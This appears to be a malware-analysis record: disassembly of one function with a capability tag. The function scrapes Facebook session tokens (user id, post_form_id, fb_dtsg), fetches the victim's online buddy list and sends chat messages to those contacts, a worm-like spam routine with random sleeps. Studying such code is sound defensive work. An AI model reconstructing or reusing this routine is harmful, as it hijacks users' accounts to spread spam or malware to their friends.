Function at 0x403560
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x108a4
call fcn.00408a70
mov eax, dword [0x4151a8]
push ebx
push esi
mov esi, dword [0x41738c]
push edi
mov dword [esp + 0x108ac], eax
lea eax, [esp + 0x1d8]
push 0x416600
inc esi
push eax
mov dword [0x41738c], esi
call dword [sym.imp.USER32.dll_wsprintfA]
xor esi, esi
push 0x7a120
mov byte [0x417390], 0
mov dword [esp + 0x20], esi
mov dword [esp + 0x2c], esi
call fcn.004087c6
add esp, 0xc
push esi
push esi
push esi
push esi
push 0x416098
mov dword [esp + 0x20], eax
mov dword [esp + 0x44], 0xffffffff
mov dword [esp + 0x38], 1
call dword [0x415fe0]
cmp eax, esi
mov dword [esp + 0x34], eax
je 0x403dc2
push esi
push esi
push 3
push esi
push esi
push 0x50
push str.facebook.com
push eax
call dword [0x416088]
cmp eax, esi
mov ebx, dword [esp + 0x10]
mov dword [esp + 0x1c], eax
je 0x403dc6
jmp 0x403616
mov ebx, dword [esp + 0x10]
mov eax, dword [esp + 0x24]
cmp eax, 1
jne 0x40368c
mov ecx, dword [esp + 0x1c]
push 0
push 0x80000000
push 0
push 0x411b79
push 0
push 0x411f4c
push 0x411f48
push ecx
call dword [0x41607c]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x10], ebx
je 0x403dc6
mov eax, str.Content_Type:application_x_www_form_urlencoded
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403660
push 0x20000000
sub eax, edx
push eax
push str.Content_Type:application_x_www_form_urlencoded
push ebx
call dword [0x415ff8]
test eax, eax
je 0x403dc6
push 0
push 0
jmp 0x403822
cmp eax, 2
jne 0x403757
call fcn.00408731
cdq
mov ecx, 0x1f4
idiv ecx
add edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0xa0]
push edx
lea eax, [esp + 0x10c]
push eax
lea ecx, [esp + 0x31d8]
push str.visibilitytruepost_form_id_sfb_dtsg_slsdpost_form_id_sourceAsyncRequest
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov edx, dword [esp + 0x2c]
add esp, 0x10
push 0
push 0x80000000
push 0
push 0x411b79
push 0
push str._ajax_chat_settings.php___a1
push str.POST
push edx
call dword [0x41607c]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x10], ebx
je 0x403dc6
mov eax, str.Content_Type:application_x_www_form_urlencoded
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403710
push 0x20000000
sub eax, edx
push eax
push str.Content_Type:application_x_www_form_urlencoded
push ebx
call dword [0x415ff8]
test eax, eax
je 0x403dc6
lea eax, [esp + 0x31d0]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403740
sub eax, edx
push eax
lea eax, [esp + 0x31d4]
push eax
jmp 0x403822
cmp eax, 3
jne 0x40383a
call fcn.00408731
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0x1f4
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0xa0]
push edx
lea eax, [esp + 0x10c]
push eax
lea ecx, [esp + 0x178]
push ecx
lea edx, [esp + 0xacc]
push str.user_spopped_outfalseforce_rendertruebuddy_list1notifications0post_form_id_sfb_dtsg_slsdpost_form_id_sourceAsyncRequest
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [esp + 0x30]
add esp, 0x14
push 0
push 0x80000000
push 0
push 0x411b79
push 0
push str._ajax_chat_buddy_list.php___a1
push str.POST
push eax
call dword [0x41607c]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x10], ebx
je 0x403dc6
mov eax, str.Content_Type:application_x_www_form_urlencoded
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4037e3
push 0x20000000
sub eax, edx
push eax
push str.Content_Type:application_x_www_form_urlencoded
push ebx
call dword [0x415ff8]
test eax, eax
je 0x403dc6
lea eax, [esp + 0xac0]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403810
sub eax, edx
push eax
lea ecx, [esp + 0xac4]
push ecx
push 0
push 0
push ebx
call dword [0x417380]
test eax, eax
je 0x403dc6
jmp 0x403989
cmp eax, 4
jne 0x403989
mov eax, dword [esp + 0x14]
test eax, eax
jle 0x403989
call fcn.00408731
cdq
mov ecx, 0x3e8
idiv ecx
add edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00408731
cdq
mov ecx, 0xf423f
idiv ecx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, edx
add esi, 0x1869f
call ebx
lea edx, [esp + 0x1d8]
push edx
mov edi, eax
lea eax, [esp + 0x2dc]
push 0x411c6c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x2e4]
push ecx
call fcn.004015e0
add esp, 0x10
call ebx
lea edx, [esp + 0xa0]
push edx
lea ecx, [esp + 0x10c]
push ecx
add eax, 0xd69cc
lea edx, [esp + 0x2e0]
push edx
push eax
mov eax, dword [esp + 0x30]
imul eax, eax, 0x64
lea ecx, [esp + eax + 0x4568]
push ecx
push edi
push esi
lea edx, [esp + 0x1e64]
push str.msg_id_iclient_time_ito_snum_tabs1pvs_time_imsg_text_sto_offlinefalsepost_form_id_sfb_dtsg_slsdpost_form_id_sourceAsyncRequest
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [esp + 0x40]
add esp, 0x24
push 0
push 0x80000000
push 0
push 0x411b79
push 0
push str._ajax_chat_send.php___a1
push str.POST
push eax
call dword [0x41607c]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x10], ebx
je 0x403dc6
mov eax, str.Content_Type:application_x_www_form_urlencoded
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403931
push 0x20000000
sub eax, edx
push eax
push str.Content_Type:application_x_www_form_urlencoded
push ebx
call dword [0x415ff8]
test eax, eax
je 0x403dc6
lea eax, [esp + 0x1e48]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403960
sub eax, edx
push eax
lea ecx, [esp + 0x1e4c]
push ecx
push 0
push 0
push ebx
call dword [0x417380]
test eax, eax
je 0x403dc6
inc dword [esp + 0x20]
xor esi, esi
test ebx, ebx
je 0x403dc6
xor eax, eax
lea edx, [esp + 0x28]
push edx
mov ecx, 0x100
lea edi, [esp + 0x6c4]
rep stosd dword es:[edi], eax
push 0x400
lea eax, [esp + 0x6c8]
push eax
push ebx
call dword [0x4165e4]
mov ecx, dword [esp + 0x28]
lea edx, [ecx + esi]
cmp esi, edx
mov eax, esi
jae 0x4039f7
lea edx, [esp + 0x6c0]
sub edx, esi
cmp esi, 0x7a11f
jge 0x4039ef
mov cl, byte [edx + eax]
mov edi, dword [esp + 0xc]
mov byte [eax + edi], cl
mov ecx, edi
mov byte [eax + ecx + 1], 0
mov ecx, dword [esp + 0x28]
inc eax
lea edi, [ecx + esi]
cmp eax, edi
jb 0x4039d2
add esi, ecx
test ecx, ecx
ja 0x403993
mov eax, dword [esp + 0x24]
cmp eax, 1
jne 0x403c52
mov edx, dword [esp + 0xc]
push str.user_:_
push edx
call fcn.004089e0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x403ad1
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403a30
sub eax, edx
cmp eax, 0x64
jbe 0x403a4d
mov ecx, 0x19
mov esi, ebx
lea edi, [esp + 0x38]
rep movsd dword es:[edi], dword [esi]
jmp 0x403a6f
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403a52
sub eax, edx
mov ecx, eax
shr ecx, 2
mov esi, ebx
lea edi, [esp + 0x38]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov al, byte [esp + 0x38]
test al, al
je 0x403ac8
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp + 0x38]
push ecx
xor esi, esi
call edi
sub eax, 7
test eax, eax
jle 0x403ab6
lea ecx, [ecx]
mov al, byte [esp + esi + 0x3f]
cmp al, 0x30
jl 0x403aa2
cmp al, 0x39
jg 0x403aa2
mov byte [esp + esi + 0x38], al
jmp 0x403aa7
mov byte [esp + esi + 0x38], 0
lea edx, [esp + 0x38]
push edx
inc esi
call edi
sub eax, 7
cmp esi, eax
jl 0x403a90
mov ecx, 0x19
lea esi, [esp + 0x38]
lea edi, [esp + 0x170]
rep movsd dword es:[edi], dword [esi]
push ebx
call fcn.004089a0
add esp, 4
mov eax, dword [esp + 0xc]
push str.post_form_id_:_
push eax
call fcn.004089e0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x403b8d
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403af0
sub eax, edx
cmp eax, 0x64
jbe 0x403b0d
mov ecx, 0x19
mov esi, ebx
lea edi, [esp + 0x38]
rep movsd dword es:[edi], dword [esi]
jmp 0x403b31
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403b12
sub eax, edx
mov ecx, eax
mov edx, ecx
shr ecx, 2
mov esi, ebx
lea edi, [esp + 0x38]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov al, byte [esp + 0x38]
test al, al
je 0x403b84
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x38]
push eax
xor esi, esi
call edi
sub eax, 0xf
test eax, eax
jle 0x403b72
nop
xor eax, eax
mov al, byte [esp + esi + 0x47]
cmp al, 0x22
sete cl
dec cl
lea edx, [esp + 0x38]
push edx
and ecx, eax
mov byte [esp + esi + 0x3c], cl
inc esi
call edi
sub eax, 0xf
cmp esi, eax
jl 0x403b50
mov ecx, 0x19
lea esi, [esp + 0x38]
lea edi, [esp + 0x108]
rep movsd dword es:[edi], dword [esi]
push ebx
call fcn.004089a0
add esp, 4
mov eax, dword [esp + 0xc]
push str.fb_dtsg_:_
push eax
call fcn.004089e0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x403db0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403bb0
sub eax, edx
cmp eax, 0x64
jbe 0x403bcd
mov ecx, 0x19
mov esi, ebx
lea edi, [esp + 0x38]
rep movsd dword es:[edi], dword [esi]
jmp 0x403bf1
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403bd2
sub eax, edx
mov ecx, eax
mov edx, ecx
shr ecx, 2
mov esi, ebx
lea edi, [esp + 0x38]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov al, byte [esp + 0x38]
test al, al
je 0x403c44
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x38]
push eax
xor esi, esi
call edi
sub eax, 0xa
test eax, eax
jle 0x403c32
nop
xor eax, eax
mov al, byte [esp + esi + 0x42]
cmp al, 0x22
sete cl
dec cl
lea edx, [esp + 0x38]
push edx
and ecx, eax
mov byte [esp + esi + 0x3c], cl
inc esi
call edi
sub eax, 0xa
cmp esi, eax
jl 0x403c10
mov ecx, 0x19
lea esi, [esp + 0x38]
lea edi, [esp + 0xa0]
rep movsd dword es:[edi], dword [esi]
push ebx
call fcn.004089a0
add esp, 4
jmp 0x403db0
cmp eax, 3
jne 0x403d93
mov eax, dword [esp + 0xc]
push str._nowAvailableList_:
push eax
mov dword [esp + 0x1c], 0
call fcn.004089e0
mov edx, eax
add esp, 8
test edx, edx
mov dword [esp + 0xc], edx
je 0x403dd7
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403c86
sub eax, esi
cmp eax, 0x14
mov dword [esp + 0x2c], eax
jle 0x403cab
mov ecx, 0x22222222
mov dword [edx], ecx
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
xor esi, esi
xor edi, edi
test eax, eax
mov cl, 1
jle 0x403db0
lea edx, [esp + 0x4558]
xor ebx, ebx
mov dword [esp + 0x18], edx
mov edx, dword [esp + 0xc]
mov al, byte [edi + edx]
cmp al, 0x7d
jne 0x403cf8
mov al, byte [edi + edx + 1]
cmp al, 0x2c
jne 0x403ce3
inc edi
mov cl, 1
xor esi, esi
jmp 0x403d84
cmp al, 0x7d
jne 0x403d84
mov edi, dword [esp + 0x2c]
xor cl, cl
xor esi, esi
jmp 0x403d84
cmp al, 0x22
jne 0x403d18
cmp byte [edi + edx + 1], 0x3a
jne 0x403d84
inc edi
cmp cl, 1
jne 0x403d84
mov eax, dword [esp + 0x18]
push eax
jmp 0x403d4d
cmp cl, 1
jne 0x403d80
cmp al, 0x30
jl 0x403d80
cmp al, 0x39
jg 0x403d80
cmp ebx, 0x2710
jge 0x403d80
lea edx, [ebx + esi]
inc esi
cmp esi, 0x5a
mov byte [esp + edx + 0x4558], al
jle 0x403d73
mov ecx, dword [esp + 0x18]
lea eax, [ebx + esi]
mov byte [esp + eax + 0x4558], 0
push ecx
xor esi, esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0xa
jle 0x403d82
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
inc edx
add ebx, 0x64
add eax, 0x64
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], eax
jmp 0x403d82
lea edx, [ebx + esi]
mov byte [esp + edx + 0x4558], 0
jmp 0x403d84
xor esi, esi
xor cl, cl
mov eax, dword [esp + 0x2c]
inc edi
cmp edi, eax
jl 0x403cc6
jmp 0x403db0
cmp eax, 4
jne 0x403db0
mov eax, dword [esp + 0x20]
cmp eax, dword [esp + 0x30]
je 0x403db0
cmp eax, dword [esp + 0x14]
mov dword [esp + 0x30], eax
jl 0x403616
mov eax, dword [esp + 0x24]
inc eax
cmp eax, 6
mov dword [esp + 0x24], eax
jl 0x403612
mov ebx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x403dd7
push eax
call fcn.004089a0
add esp, 4
test ebx, ebx
je 0x403de2
push ebx
call dword [0x4164a4]
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x403df1
push eax
call dword [0x4164a4]
mov eax, dword [esp + 0x34]
test eax, eax
je 0x403e00
push eax
call dword [0x4164a4]
mov ecx, dword [esp + 0x108ac]
xor eax, eax
call fcn.004088de
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4